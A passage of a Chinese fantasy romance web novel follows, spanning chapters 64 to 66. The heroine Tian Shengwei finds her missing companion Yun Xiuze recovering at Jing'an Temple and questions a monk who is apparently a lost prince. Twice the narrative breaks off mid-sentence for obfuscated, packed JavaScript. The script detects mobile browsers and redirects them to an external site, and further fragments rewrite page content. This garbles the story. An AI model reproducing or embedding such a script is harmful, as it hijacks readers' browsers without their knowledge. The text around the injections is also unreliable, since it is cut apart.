距离越近,云修云的感知越模糊,如果像他们之前在野外扎营的时候,就基本只能分辨出个大概的东西南北。 四人快马加鞭,才终于在十七日后,穿过遥远的距离,来到了康平。 64. 曲衣五 康平虽算不上地域辽阔,但占地同样不小。 天盛微四人过了边界,赶到传来消息的那个分阁又用了三天的时间。 他们到达时已是下午,这里的阁主孙纪章前来接待。 他将几人请到屋内,又将那天的情况细细说了一遍,但翻来覆去,也没什么好说的。 那人匆匆而来,分明带着重伤,却又神秘消失。 孙阁主派出去的人找到了他曾住过的客栈,却早已人去楼空,问了那里的掌柜,也说对此人并无印象。 线索就这么断了。 一个身受重伤的人是如何在通神阁的耳目之下消失的如此彻底? 孙阁主明白他是什么人,若是他没有负伤,也许还有可能办到,但情况又并非如此,所以他给出了一个推断。 “云公子身边,恐怕还有人为其遮掩,至于目的,却并不好判断。” 等他离开后,天盛微看向云修云,问道。 “他怎么样?” 云修云握着玉佩,丝丝缕缕的灵力顺着他的手指缠绕其上,他沉下心来细细感受了一番,然后就皱起了眉头。 “我感觉不到了。” 几人诧异,他们两个离得越近,方向距离就会越模糊,与此相对的,对彼此的状态就会更加清楚,此时云修云却说他感觉不到。 云修云不信邪的又尝试了一番。 赶路的这段日子他很少会去感应,竟然没发现从什么时候起,他就已经感应不到云修泽的状态了。 “怎么回事?我真的感觉不到。” 他皱着眉思索了片刻,自言自语的推测。 “我哥他......被藏起来了?” 这句话说的有点奇怪,但也和刚刚孙阁主给的消息对应上了,几人都能明白他的意思。 天盛微:“传音令也不管用。” 她每次传音,灵力裹挟着声音,刚刚脱离她,就会消散在空中,之前是因为距离过远,现在还这样,那除了濒死和已经死亡,就只有一种可能。 唐思月说。 “老大进入了高阶结界?” 高阶结界除了护佑的作用之外,往往还有隐藏的作用。 像云家这种隐世家族,用的就是很少见的高阶结界。 天盛微手指慢慢点了点桌子。 “很有可能,或者是秘境。” 秘境就相当于另一方小世界,独立于此世之外,若是进入,自然就会失去在此世的踪迹。 她的手指一顿,不,不对。 云修泽的身体支撑不了他进入秘境。 “去找康平的大型结界。” 天盛微做出了决定,让孙阁主送来了这里设有高阶结界的家族的消息,同时婉拒了对方提出的帮忙,准备几个人亲自去找。 四人离开通神阁,清点了一下得到的消息。 分布在这里的仙家仅次于清秋道,请得起人给自己的家族布下结界的也有不少,但高阶的,不过十数。 几人分头行动,唐思月和行愿一起,天盛微和云修云则各自离去。 “盛微,你去哪里?” 唐思月问到。 天盛微看了眼远处被薄云笼罩的山峰,平静的说。 “净安山。” 净安山的确有高阶结界,唐思月和云修云面面相觑。 净安寺在康平的地位就犹如昆天谷在清秋道的地位,普通百姓烧香拜佛,自然好进,可对于身具灵力的他们,就没有那么轻而易举。 天盛微看出他们的顾虑,想了想,也只说道。 “放心。” 在来到康平之后,她便想起了每逢冬月,舅舅就会微服来到净安寺祭拜,只不过她已记不清具体是什么时候,现在前去碰碰运气,没准还能够见到。 净安寺内有万佛塔,塔中无数高僧坐化,镇压着塔底的魑魅魍魉。 其中,又有真佛藏经九十八卷,据说收录了世间可活死人、肉白骨、解万毒的方子。 无数人趋之若鹜。 但想要得到它,便只能通过一条路。 一条有九千石阶的通天之路。 净安山高耸入云,鹤立于无数的山峦之间,净安寺则坐落于山腰之上。 长长的石阶一眼望不到尽头,身具灵力之人不可运转,须每步稳扎稳打,拾阶而上。 每层石阶上都刻着经文,随着越来越高,降下的压制之力就会越来越强。 净安寺曾广而告之,若有人能不动一丝灵力而走完这九千阶,只要不是危害人间,残害生灵,他们便无条件答应此人一件事情。 但自建寺以来,无一人做到,或者有,但消息并未传出。 天盛微只是凝神看了看,并未准备去挑战。 她跟随着前来礼拜的百姓一起进入净安寺,果不其然在门口被一个和尚拦了下来。 那和尚自报法号弥生,很客气的将天盛微引到一旁,询问她为何来此。 天盛微双手合十行了个礼。 “敢问计都来的谢公子现在此地吗?” 舅舅微服出巡,喜好化名谢公子,每年这个时节来到净安寺都会住上几日。 弥生抬眼看了看天盛微。 “施主是?” “我是他的家中人。” 天盛微垂眸。 “我此番到来是为寻人,想求见主持。” “阿弥陀佛。” 弥生呢喃。 “谢施主已于四日前离开。” 四日之差,天盛微暗叹。 “我所寻之人不是他,若他不在便算了,弥生师傅可能为我引见主持?” “也罢,您既是谢施主的家中人,便跟我来吧,跟紧我,切记到了寺中不可随意动用灵力。” “多谢。” 弥生微微点头,便带着她向寺中走去。 他的步伐在寺门的交界处开始变化无常,天盛微紧跟着他,一步未曾踏错,很快便感受到了什么从身上穿过,她便知道,这是已经过了结界。 与此同时,刚刚排除一个地方的云修云突然想起。 “嗯?柳家好像就在康平?” 唐思月和行愿则迎来了一位还算不上久别的熟人。 主持法号善修,是一位慈眉善目的老人,双眼却不浑浊,就是这样一位看上去很和蔼的老人家,却是能和昆天谷的秦谷主一争高下的人物。 “主持。” 天盛微垂首行礼。 善修呵呵笑道。 “施主不必多礼,多年前你曾随谢施主来过,老衲记忆犹新啊。” 天盛微还真不记得自己来过。 “听弥生说,施主是要寻人?” 天盛微额首。 “是,不知主持知不知一位名为云修泽的人的下落,或者寺中可曾收留重伤之人?” 善修思索片刻,缓缓摇了摇头。 “很可惜,老衲并不知此人踪迹,至于寺中,常常有弟子收治伤者,老衲也不会一一过问。” 善修的木鱼在空旷的佛堂中发出两声清响,天盛微为此精神一振。 她又直了直腰背,抬眼看向善修。 善修笑道。 “不如这样,今日天色已晚,施主且在寺中歇下,明日老衲帮您问问众位弟子。” 天盛微一愣,回头才发现夜色已沉,思考片刻便同意了善修的提议。 她被一个小沙弥带去了禅房,给行愿和云修云传音告知了今日不归,又简单吃了点素斋。 透过窗户,天盛微看到一群瓦雀落到地上,梳理羽毛,或者一蹦一跳,用尖尖的喙互相打着招呼,随着一阵风起,又呼啦呼啦一起飞开。 寺中变得比白日还要安静。 她提起一盏灯,向值夜的僧人询问了可以走动的地方后,就带着灯慢慢远去。 一盏孤灯跳动着火焰,火光照亮了前路。 佛门清净地,迈进来的那一刻,天盛微就感觉好像有沁人心脾的灵力在她的身体里走了一圈,宛如魂魄都被洗涤了一遍,整个人残留的焦躁都被一一抚平。 心绪都平和了许多。 善修主持说她曾来过这里,她四处走了走,竟然真的有了点模糊的印象。 天盛微走到一个岔路口,犹豫着要走哪条路。 僧人没说右边能不能去,本来她也并不想去,可想起来的回忆中,似乎这条路又通向了哪里。 她模糊的记得在这条路上,她被舅舅牵在手中缓步行走,小小的她抬起头,只看到了舅舅绷紧的下颚。 片刻后,天盛微决定前去看看。 不过为了避嫌,还是收敛了气息。 这条路弯弯绕绕,却没有别的旁支,一直通到了一座大殿。 殿中烛火通明,隔扇门大敞着,露出了其中供奉的庞大的佛像。 金佛眉眼半瞌,面容慈悲,仿佛正注视着殿中垂首的信徒。 信徒身着禅衣,跪坐在蒲团上,面前摆着一卷经书,木鱼在旁边并未被敲响,他似乎深深沉浸在了佛经之中。 在黑暗中,门框仿佛成为了画框,其中描画的便是这样一幅静默虔诚的画面。 天盛微为这样的专注与虔诚感到动容,不由自主上前两步。 那僧人似乎被这细微的动静惊扰,肩膀微微一动。 天盛微有些懊恼,开口告罪。 “我本无意打扰,还望这位师傅海涵。” 那僧人并未回头,而是摸过旁边的木鱼棒轻轻敲着,嘴中呢喃着她听不清的经语。 见他如此,天盛微本想安静离去,却突然听他声音大了些,说道。 “施主有惑。” 天盛微脚步一顿,半晌后,垂眸应是。 那僧人收好经书和木鱼,起身来到了殿外与她见礼。 “贫僧迦引。” 天盛微回道。 “明青,打扰迦引师傅了。” “现在已是子时,想来明施主心中不定,这才外出夜游,不知明施主是否愿意随贫僧移步别居,下一盘棋?” 下棋? 两人隔着些距离,天盛微并未看清他的样貌,但他的身形比云修泽还要高大一些,整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232218|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人散发出的气场都很温和,十分令人信服。 反正回去也睡不着,天盛微干脆同意了他的邀请。 她随着迦引一路向上走,不知过了多久,来到了一栋楼阁之前。 透过窗纸,能看到内里已经点燃了一些烛火。 门是敞着的,可以清晰的看到正殿,如此高的楼阁竟然没分为上下两层,而且其中层层叠叠坠满了长长的薄纱,从最高处一直垂到了离地三寸的地方,风稍一吹过,便会轻若蝉翼的翻涌不休。 这样的布置,放在别处还可称得上是颇具情趣,仙气浑然,很有美感,定是妙人想出。 可这里却是佛门,这样本不应该出现的房间布置,只会给人轻慢之感。 天盛微在门外不解的蹙眉。 “迦引师傅,净安寺怎么会有这样的地方?” 迦引似乎是笑了笑。 “说来惭愧,这是净安欠了别人一个人情,按照对方的要求做出的补偿。” 这是什么奇怪的要求,要在佛门安置这种像玩闹一般的房间。 “为何要引我来此?” 天盛微本以为会有什么别的理由,他却只说。 “只有这里有棋盘。” 天盛微闻言微哂,跟着他提步走了进去。 跨入房中的一瞬间,天盛微便感觉精神一振。 无数纯净的灵气欢呼雀跃着涌入她的身体,带来了通体舒畅的感觉。 天盛微舒适的眯了眯眼。 “这是聚灵阵?” “不错。” 迦引笑道。 “这里布下了高阶的聚灵阵,常年来一直运转着,是很好的修炼和养伤的地方。” 那看来用来布阵的灵物灵气很是充沛。 这里说是正殿,但其实也并没有像平常一样放置桌椅,只在中间留出一块空地,堪堪置了一张矮桌和两个蒲团。 迦引拿出棋盘和棋子放在了矮桌上。 两人相对而坐,天盛微一抬头,整个人就僵在了那里。 就着薄纱之后朦胧的烛火,她看清了迦引的眉眼。 那是一张和她舅舅与母亲都有三分相似的脸。 天盛微心中震荡,无数的疑问一瞬间在她的心中升起。 舅舅每年都会来,究竟是为了什么?迦引又是谁?为什么她会如此碰巧的见到他?他认得我吗? 万千思绪在短时间内交汇,她的嘴唇微颤,眼睛微微睁大,想要问些什么却又说不出口,错愕之情一览无余。 可偏偏面前这人却像是根本察觉不到一样,只是微笑示意她执棋。 随着棋子落入棋盘的咔哒响声,天盛微茫然低头,片刻后,才抬手跟着落下了一子。 此时殿中除了风卷纱动的细微摩挲声,就只有两人棋子落下的声音。 良久,迦引轻叹一口。 “看来施主的心不静啊。” 天盛微回神,这才发现自己的棋路下的毫无章法。 迦引默不作声将两人的棋子收了起来,又示意她再来一局。 天盛微迟疑片刻,还是开始专注的和他下棋。 认真后,天盛微明显感觉到迦引这个人不露锋芒,连他的棋风都很温和,但就是这样一个下法,却让天盛微逐渐陷入了困境。 天盛微默默不语,观察着棋盘,总觉得有哪里不对劲,但又看不出来。 手中的棋子根本不知该落到何处,仿佛无论怎么走,都解不了眼前的困局。 迦引看她困惑,于是问她。 “明施主可记清棋局现在的模样了吗?” 天盛微不解点头,就见他又一次将棋子收了起来。 还没等她问什么,迦引就开始拿着黑白两子复刻他们刚才的棋盘。 他的每一步都是按照两人刚才的顺序下的,天盛微细细看着,直到完成了一多半的时候,迦引停了下来。 “剩下的劳烦明施主继续。” 于是天盛微开始默默回想着刚才的顺序,一步步往下走下去。 但几步过后,她就被迫停了下来。 她在脑中开始仔细的复盘,发现并没有走错的地方,可为什么回不到刚才的模样了呢? 两人谁都没有说话,良久之后,天盛微忽然往前倾了倾,眼睛睁大,语气也带上了讶异。 “这颗棋子,刚才最后的时候不在。” 她的目光落在迦引所执的一颗黑棋之上。 “没错。” 迦引浅笑。 “刚刚趁明施主不注意,我将这颗本就存在的棋子拿了下来,施主就自然而然忽略了它的位置。” 他将那颗棋子拿开,又补了几步,将棋盘恢复成了刚才的模样。 “正因如此,明施主才走到了这幅境地,可这颗黑棋本就是存在的,无论你是否看见它。” 天盛微心中大动,被隐藏的黑子一下让她联想到了许多人,有什么是存在但是被她忽略了。 迦引想说什么? 天盛微盯着棋盘,浑身紧绷。 或许,她还没有看清真正的路。 65. 曲衣六 迦引看她似乎神思清明了几分,于是笑道。 “明施主。” 天盛微抬头,就见到那双熟悉的眼睛盛着让人看不懂的深意,他温和的又一次说道。 “这枚棋子其实一直在这里,你不必忧心。” 和刚才差不多的话,但给天盛微的感觉却有所不同,仿佛是在说两件事情。 天盛微眉眼微动。 “迦引师傅,缘何要与我说这些?” 他认出我是谁了?又为什么知道我的事? 迦引笑了笑,轻轻滚动手中的佛珠。 “明施主,世间万事皆是因果相扣,你与贫僧今日对坐,所言所感皆是缘法。” 如此虚无缥缈的东西,天盛微并不十分理解,得到的回答的也不是她想知道的,但她无意再行追问。 迦引将之前拿走的那枚黑棋放在了棋盘之外,低声告辞后,就缓步离开了这里,留下天盛微一人对着棋盘沉思不语。 她将对局恢复到了棋子被拿走的那一步,目光落到了那枚棋盘之外的黑子上。 将其拿起,放在手中捻了捻,然后慢慢将它放回了棋盘上。 迦引已经离开,她便与自己对弈。 一枚棋子,却将颓败之势彻底改变。 又走到困局之处,但局势已经豁然开朗,数种脱困的方式清楚的展现在棋盘之上。 其实,天盛微不只有母亲这一个顾虑,家族同样也是。 若一连失去两个继承人,恐生惊乱。 但这似乎并不是无解之局。 天盛微目光沉沉,落下了最关键的一子。 随着一子破局,夜风骤然吹响,顷刻间便吹灭了几盏烛灯,烛火陡然熄灭的声音有着细微的沉闷,屋中登时暗了下去,而侥幸留存的,只带来了暖融暧昧的柔光。 垂落的薄纱随着夜风翻涌,轻轻柔柔的抚上了天盛微的面庞,宛若轻云飘忽间蒙上了她的双眼。 天盛微微微仰起头,被轻纱遮住面孔让她的神色看起来有些空濛。 她没有去拨弄那些扰人的纱幔,而是安静的跪坐其间,任由它们随风将自己裹挟。 风逐渐和缓,薄纱也变得若即若离。 身后有脚步声轻轻站定。 天盛微眼睛微微睁大,感觉自己似乎只停顿了几瞬,又似乎已经等了很久。 屋外最后的落叶发出清脆的摩挲声,屋内轻纱曼曼,烛火灯影飘荡不休,仿佛都成了她此刻心中倾侧的照影。 蓦然回首,便知南柯一梦为何动人心曲,万千思绪无影无踪,只剩心中兀自燃烧的火焰。 纱幔成了一道屏障,将这里割裂成两重光影。 长纱之前,是跪坐回首,长发微乱,无言怔愣的天盛微。 长纱之后,被拓印出的则是垂首而立,男子静默的剪影。 从相识到现在,短短不到一年的时间,天盛微竟没察觉这人的身形是何时褪去了青涩的模样。 宽阔有力的肩背,轮廓分明的线条。 此时立于身前的,已经是一个羽翼渐丰的青年。 见她久久不语,长纱后的身影似有若无的叹息,随即,重重薄纱便被一只骨节分明的手缓缓拨开。 在梦中无论如何都未曾看清的面容,此刻被摇曳的烛火清晰的描摹。 “阿微。” 云修泽轻叹着心中所念,看到眼前人面无表情的红了眼眶。 这一声就像是投入湖中的石子,惊起了湖面的波澜。 天盛微本来轻点着地的手用力将自己撑了起来,此刻抛却所有,一下子投入了云修泽的怀中。 云修泽只后退了半步就将她稳稳接住。 感受着她用力到微微颤抖的身躯,云修泽心中难耐,只恨不能将其揉入骨血。 “阿微。” “嗯。” “我们试试吧。” 各自抛开身后事,我们试试吧。 天盛微将头又往他怀中埋了埋,轻轻点头。 “嗯。” 云修泽皱着眉笑起来,两颗心的跳动逐渐变得一致,两人相拥无言,直到天盛微支撑不住沉沉睡去。 云修泽将她抱起,目光落在她眼下的青黑,脚步一顿,心中也说不出什么滋味。 穿过层层纱,便可到达内殿,里面设有床榻,云修泽将天盛微安置在上面,自己则坐在塌边,曲着手指拨弄了下她的眼睫,见她动了动,面上似乎有被打扰的不快,于是轻笑,不再捉弄她,就只借着朦胧的光晕一遍遍描摹她的眉眼。 天盛微再次醒来时,他正半靠在床边垂头睡着,并不十分安稳的模样。 外面的天色将明未明,透过花窗给屋内带来了几分光亮。 她伸手碰了碰云修泽搭在身上的手,触手感到的温热和真实让她的心落回了原处。 手突然被轻轻抓住,天盛微抬眼一看,才发现云修泽已经醒来,此时垂眸笑的温柔,嗓音还带着些晨起的沙哑。 “早啊,阿微。” 天盛微反手握回去,与他十指相扣。 “我本姓天,名盛微。” 皇姓...... 云修泽心中有种果然如此的感觉。 天盛微看了看他,缓缓将他失踪后发生的事说了出来。 云修泽认真听着,想听听她的感觉,她却只叙述事情,半点不掺私人情感。 云修泽有些哭笑不得,但又觉得这是她会有的样子。 “你呢?” 天盛微坐起身。 “你发生了什么?” 云修泽右手覆上左手手腕,垂眼笑了笑。 那日,天盛微昏迷后他以一敌二,本已经占了上风,眼看着就要将那两妖斩于剑下,他们却突然拿出了一个法器。 那法器中存储了一道威力极强的攻击,若是全盛时期的云修泽自然不会惧怕,可那时他偏偏已经身受重伤,猝不及防之下便被打了个正着。 他被击落到悬崖边,鲜血不断从他的口中涌出,身体的剧痛让他动弹不得。 那两妖手中已经拿到了一张地图,却仍然想将剩下的几张也收入囊中。 那时的云修泽已经几乎陷入了昏迷,于是他们很顺利的从他的腰间解下了那枚玉佩。 他们带着玉佩准备离开,却在离开云修泽周身五十米左右的地方,感觉到玉佩开始发热,那热度从内里一直延伸到外延。 这是灵器自爆的先兆。 那两妖没想到这居然是件认主的灵器,为了避免它自动销毁,也为了他们自己的安全,反手就将它丢回了云修泽的身上。 灵器认主也不是没有办法,只要将主人杀掉即可。 玉佩上有云修泽的指尖血,与他的灵力和神魂相连,而刚刚玉佩差点自毁产生的动荡,宛如无数滚烫的银针刺入他的经脉,又有铁棒狠狠捣入他的脑中,毫不手软的搅了个天翻地覆。 本来已经昏迷将死的云修泽被灵魂撕裂般的痛苦强行唤醒,渗出鲜血的眼睛骤然睁开,一眼便看到了他们差点打到他身上的攻击。 是醒来的踏风嘶鸣着,将没注意到它的两妖猛地撞开。 就在它扬起前蹄准备攻击的时候,被他们恼怒的反手扔落了悬崖。 云修泽的指尖扣在地上,伤口已经将其染红,眼看着踏风为了保护他被扔下去,又生生呕出了一口血。 见两妖继续向他走来,他就耗尽最后的力气往后一滚,随着湍急的瀑布滚落了悬崖。 他的眼睛宛如修罗恶鬼,死死的盯着他们,声音随着他的掉落逐渐飘散,却仍然被两妖完整的收入到了耳中。 “不怕死,你们就跟上来。” 他们是水妖,按理来说云修泽落入瀑布,对他们反而更有利。 但他们也已经是强弩之末,带来的法器也只储存了一道攻击,刚才那句话宛如敲响的警钟,回荡在已经心生畏惧的两妖心中,若此时让他们追上去,恐怕还真有可能会被他反杀。 于是两妖一合计,准备就带着身上的这一张地图回去交差。 “踏风没事,它被卡在了树上,现在连伤都已经养好了。” 天盛微注意到他有些难过的表情。 云修泽笑了笑。 “我知道,你刚刚说了,我很高兴。” 不过很快,他的笑容变得有些歉疚。 “怪我,好不容易得来的地图,却被他们抢走了。” 天盛微摇头,拉住他的手,轻轻摩挲着他的手背。 “别说只有一张,就是全都被抢走,只要你还好好的,我们就可以再抢回来。” 云修泽低头轻吻了一下她的额头。 天盛微抬眼,追问道。 “之后呢?” “之后......” 之后云修泽就因为神魂的冲击和水流的拍打彻底晕了过去,等到再醒来,便是到了一个陌生的客栈。 那时他虽醒来,神志却依然模糊,别说记得发生了什么事,就连自己姓谁名甚都忘了个一干二净。 那时的他,只记得要赶紧离开。 于是本能的在玉佩中翻出一件黑衣将自己裹了起来,又打晕了两名看守者,从客栈里溜了出去。 他身上的伤比他想的还要重,根本支撑不了他独自逃离那里。 模糊的记忆中,似乎有一枚银令,还有一个女子的声音。 “......去......可号令......通......” 通什么? 在暗巷中的云修泽头疼的敲了敲脑袋。 “通什么?......通.......通什么阁?......通......通......神......阁?” 没错,是通神阁。 云修泽在玉佩中翻了翻,还真翻到一枚银令,于是当即决定动身前往通神阁。 他找了好一会儿,才在最繁华的地方找到了通神阁。 他暗啧一声,却也没什么办法。 等到走进去,明显感到许多打量的目光落在身上,在这种情况下,只会让他觉得危险。 云修泽本想速战速决,却敏锐的察觉到了有人追来的脚步声。 时间来不及让他再说什么,不甚清醒的他本能的转身快速离开,却最终因为重伤倒在了一条小路上。 再次睁眼,就已经是净安山了。 天盛微蹙眉。 “是谁在追你?” 云修泽露出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236175|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好笑的表情。 “是净安山的僧人。” “什么?”天盛微一懵。 “没错,其实是个误会,他们不是也参加了白界大比吗?当时大比结束,他们准备回到康平,却在河边捡到了重伤昏迷的我。” 云修泽感到庆幸。 “我那副惨样一看就是被人追杀,他们认得我,还在附近找了找你们,没找到便只能先带着我离开。” 他们帮云修泽吊住了命,却根本无法让他好转。 云修泽的身体平日恢复的很快,但若是受到致命伤,元气反而会比普通人更难复原。 净安山的僧人很少会出山,于是也并没有第一时间就想起通神阁,他们带着昏迷的云修泽跋山涉水回到了康平,路过通神阁时才想起来还有这个办法。 于是他们将云修泽暂时安置在客栈,又留了两个僧人看护,一部分回山禀告,另一部分则来到了通神阁。 他们有心想问问第七洲其他队员的下落,却没成想,通神阁根本不卖他们的消息。 为了避免仇家追来,他们还不能贸然发布云修泽的消息,于是只能铩羽而归。 而他们回去的路上,就与刚刚打晕了两个僧人的云修泽完美错过。 后来发现他不在才连忙将两个师兄弟叫起来,又一起出发去寻找他的踪迹。 如此,才出现了这个有点可笑的误会。 “我差点恩将仇报了啊。” 云修泽调侃自己。 “原本我还纳闷儿为什么通神阁不卖我们的消息,现在看来,真是机缘巧合。” 天盛微想,知道云修泽踪迹的人无法得到他们的消息,而她偏偏在那时为了找他亮出了身份,可不正是阴差阳错。 因果...... 天盛微默念着这个词,因果相扣,迦引也是如此知道她的吗? “他们在水边捡到的你?” “不错。” 云修泽将左手的束袖解开,露出了手腕上缠绕的额珠。 “多亏了它,之前打斗时它碰巧落入我的手中,被我缠在了手腕上,随着我一起跌落了悬崖,它竟然能帮我在水中呼吸,若不是它,我恐怕就要先淹死了。” 他看向天盛微。 “原来这是鲛珠?” 鲛珠就是鲛人的眼泪,落地成珠,在很多方面都具有很高的价值。 水妖曾因此遭到捕杀,后来人们发现,被迫落泪的鲛人,所诞下的鲛珠往往于人有害,这才渐渐消停。 天盛微见到它,眉眼柔和了几分,伸手轻轻摸了两下。 “嗯,这是我父亲年轻时意外所得,是自然落下的鲛珠,后来被父亲送给母亲,变成了他们的定情信物。” 天盛微拉起他的手腕,轻轻在脸颊上贴了贴。 “幸亏它在你身边。” 云修泽看着她,心跳倏然加快了几分,干咳一声,有点不自然的将手收了回来。 “我这就还给你。” 说着,他便伸手去解。 天盛微按住他的手,摇了摇头。 “不,先放在你身上吧,它有温养身体的功效。” “好吧。” 天盛微仔细看了看他的脸色,昨晚烛火昏黄,根本看不出什么来,此时才发现他的脸色还苍白着。 “你恢复的怎么样?” “我也是昨日下午刚刚醒来。” 将他带回来的僧人没有报到主持那里去,而是告知了迦引。 第七洲名声大噪,迦引因此知道他的身份。 他的伤迟迟不见好,也是因为周身没有足够浓郁的灵气供他调配。 净安山倒是有灵气十分充足的地方,但都不是云修泽可以踏足的,于是便将他安置在了这里。 他午后醒来,神智已经清醒,有僧人向他说明了情况,夜晚,迦引便带来了天盛微。 “迦引......” 天盛微迟疑。 云修泽不明所以。 “他怎么了?” “他与我舅舅,我母亲,长得都有些相似,我不明白......他究竟是谁?” 云修泽沉思片刻,缓缓说道。 “先帝共六子三女,其中有四位皇子和一位皇女已经离世,还有一子一女不知所踪。” 天盛微有些不确定。 “迦引......会是那失踪的皇子吗?” “有可能,你怎么想?” 天盛微神情复杂,舅舅称帝时尚且年幼,又逢战乱不休,而她母亲又帮不上什么忙,她本以为他们其余所有的手足都已经逝世,却猝不及防在这里见到了疑似已经剃度出家的亲人。 这让她的心中隐隐不安,仿佛无意中触到了皇族的密辛,犹豫该不该继续下去。 她向云修泽寻求意见,他也只说让她顺心而为,无论面对什么,她都不会是孤单一人。 “好......” 天盛微缓缓点头,之前没能拿到的凤冠上包含着镜双子的手笔,而凤冠则出自上代皇族。 “我想试试。” 玄武年间,长辈们究竟发生了什么?镜双子又为什么,和凡人皇室扯上了关系? 她想问个清楚。 66. 曲衣七 “迦引师傅。” “明施主。” 两人相对而坐,迦引为天盛微奉上了一盏清茶。 天盛微将茶盏接过来,轻抿一口后说道。 “您应该知道我的身份。” 迦引笑了笑。 “知道如何,不知道又如何,总归此时在这里的是您本身。” “说的也是。” 她抬眼看向迦引。 “但我并不如您一般豁达,心中存有疑虑,便想问个明白,迦引师傅,您又是谁呢?” 迦引的笑容未变。 “贫僧法号迦引,一直都是迦引。” “那我换个问法,您在俗世中的身份是什么?” 迦引轻叹一口,摇了摇头。 “施主何必执着于过去,我是何身份,真的就那么重要吗?” 天盛微语气平静,没有分毫动摇。 “对我来说是的。” 迦引静默片刻,缓缓开口道。 “如施主所想,我的俗家身份的确是先帝失踪的一子,但那些早已与我无关,在我尚记不清事的时候,我就已经是迦引了。” 说完,他便垂眸滚了滚佛珠,显然并不愿就此再多说些什么。 天盛微虽对此仍有疑问,可也没有必要追根问底,于是转言道。 “那舅舅每年来此,是为了您吗?” “不是。” “那是为了什么?” 迦引轻轻摇头。 “那是谢施主的事,贫僧不便妄言。” 换言之,想知道去问他自己。 天盛微静默片刻,低声问。 “那您见过我哥哥吗?我正在找他。” “阿弥陀佛,很抱歉,明施主,我与您兄长只在幼时有些缘分,长大后便没了什么交集。” 幼时? 天盛微蹙眉,他刚刚不是说在记不清事的时候就已经是和尚了吗?在那之前? 不过她本也没报多大希望,于是又问起别的。 “那您见过镜双子吗?据我所知,镜双子似乎和上代皇室产生了一些纠葛。” 迦引滚着佛珠的手一顿,珠子轻微一撞,声音便兀然消失。 他看了看天盛微,温和道。 “施主,贫僧乃佛门中人,已不涉红尘俗事,也劝您一句,不必太过在意已经消逝的往事。” “您既然这么说,那看来是知道些什么了。” 天盛微丝毫不为所动,依然步步紧逼,见迦引不答,她说。 “我想知道他们到底想干什么。” 镜双子在失踪那么久后,突然向世人透露了他们的消息,又将消息分为碎片,引得众人争抢,动荡不安。 除了寻找兄长的下落,天盛微也同样想知道,他们到底是为了什么? 闻此,迦引转而问道。 “世人愚痴,见美色而动色欲,见财宝而动贪欲【注1】,众人参与这场争夺,皆是为心中之欲,那几位施主呢?是否也是如此?” 天盛微:“人皆有所欲,只是各有不同,修泽和修云是为历练,思月的家族遭遇了灭族之灾,是为寻求真相,行大哥忠心护主,随行左右,而我则是寻找兄长的下落。” 迦引似乎是愣了愣。 “灭族之灾?无人幸存吗?” 天盛微摇头。 “除了思月,其余的都被一场大火烧尽了。” 迦引面露不忍,合掌低声念了一段往生咒,随即就从怀里掏出了一串小一些的佛珠。 “望施主替贫僧转交给唐施主。” 他似乎面有萋萋,这还是天盛微从昨夜见到他后,第一次见他露出明显的情绪。 “请替贫僧转告,在于世界中,从非怨止怨。”【注2】 天盛微一愣,这是怕唐思月心生怨怼,活在仇恨中吗? 她接过收了起来。 “我会带到的。” 见他心性如此仁慈,就连偶然听闻的惨案都如此忧心,天盛微不禁感到了一丝好奇。 “迦引师傅,僧人可以还俗,您为何要一直做‘迦引’呢?” 迦引似乎没想到她竟会问这个问题,但也没有敷衍的意思,笑了笑,缓缓说道。 “佛陀曾在六道轮回中投胎白狗,其骨都能堆积成山,由此可见人生是何等的难,在红尘中争夺声名利禄,临命终时,也同样什么都带不走。” 他抬头微微笑了笑。 “而贫僧奉于佛前,修善积德,心中往往十分平静,一心念佛,往生极乐,便再无所求。” 天盛微额首,想问的都问了,虽没得到想要的答案,但至少已不再为此纠结,她起身准备离开,又突然想到了云修泽。 “迦引师傅,多谢你们对我同伴的救命之恩,之后我会让人多送些香火,若有什么需要我们的,可以去通神阁传话,我会提前吩咐下去。” “施主言重。” 天盛微:“告辞。” “请慢走。” 天盛微一边走一边在脑中反复想着刚才的对话,然后转身在寺中找起人来。 她走了好几个地方,才终于找到正在洒扫的弥生。 弥生见到她,还以为她是路过,只是与她见了个礼,就继续干起手中的活计,谁知天盛微竟直直的朝他过来。 弥生疑惑的停下手。 “施主,有什么需要帮忙的吗?” “弥生师傅,我收到谢公子的来信,说之前在这里落了一件很重要的东西,托我寻找,我刚刚已经找过他的居所,却没能找到,您知道他还常去哪里吗?” 弥生不疑有他,为她引路到了长明殿。 “除了斋房,谢施主最常来的便是这里了,您可以找找看。” 长明殿是供奉长明灯的地方,两侧放置着经幡,中间供奉的数十盏长明灯安静的燃烧,殿中十分的肃穆庄严。 天盛微叫住就要离开的弥生。 “弥生师傅稍待,不知谢公子供奉的是哪盏?” 话虽这么问的,她的眼睛却一直不受控制的停留在最中间的一盏,弥生果不其然的指向了它。 弥生走后,天盛微走上前垂头看了看。 这盏长明灯制的十分漂亮,雕刻的莲花宛如真的拥有生命,小心拥护着中间灵魂一般的火光。 它的旁边放置了一个玉牌,上面刻着两个字。 “少安......” 天盛微的手指在上面轻轻拂过,默默呢喃着这个陌生的名字。 少安......是谁? * “我们下山吧,他们已经在山下等我们了,在这里养伤终归不太方便。” 云修泽正在整理身上的衣服,闻言点了点头。 “好,不过还是得先去谢过净安寺的几位师傅。” 